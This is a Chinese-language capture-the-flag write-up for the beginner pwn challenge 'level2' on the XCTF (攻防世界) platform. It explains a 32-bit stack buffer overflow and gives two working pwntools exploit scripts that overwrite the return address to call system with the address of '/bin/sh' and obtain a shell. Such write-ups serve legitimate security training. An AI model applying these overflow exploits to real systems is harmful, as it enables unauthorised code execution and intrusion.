攻防世界_pwn_level2(萌新版)

0x00 前言

攻防世界_pwn_level2(萌新版)_第1张图片

32位,NX enabled

0x10 步骤

0x11 main函数

攻防世界_pwn_level2(萌新版)_第2张图片

很明显我们需要去查看vulnerable函数。

0x12 vulnerable函数

攻防世界_pwn_level2(萌新版)_第3张图片

在这里我们需要向题目中输入若干内容,又观察到buf的长度为0x88,那么我们便可以构造出0x88长度的无关数据,然后再输入4个长度的垃圾数据以覆盖ebp,然后就是/bin/sh的地址以及call system的地址(这里使用的是text段的地址,这样可以直接使用)

这种方法的exp是

from pwn import *
sh = process("./level2")
elf = ELF('./level2')
sys_addr= 0x0804845C
bin_sh = 0x0804A024
payload = 'a'*0x88+"aaaa" +p32(sys_addr)+p32(bin_sh)
sh.recvline()
sh.sendline(payload)
sh.interactive()

另外一种使用system地址的exp为,这种方法需要添加p32(0)以平衡栈帧(还没学到,,,)。

from pwn import *
sh = process("./level2")
elf = ELF('./level2')
sys_addr= elf.symbols['system']
print('%#x'%sys_addr)
bin_sh = 0x0804A024
payload = 'a'*0x88+"aaaa" +p32(sys_addr)+p32(0)+p32(bin_sh)
sh.recvline()
sh.sendline(payload)
sh.interactive()

你可能感兴趣的:(CTF,攻防世界)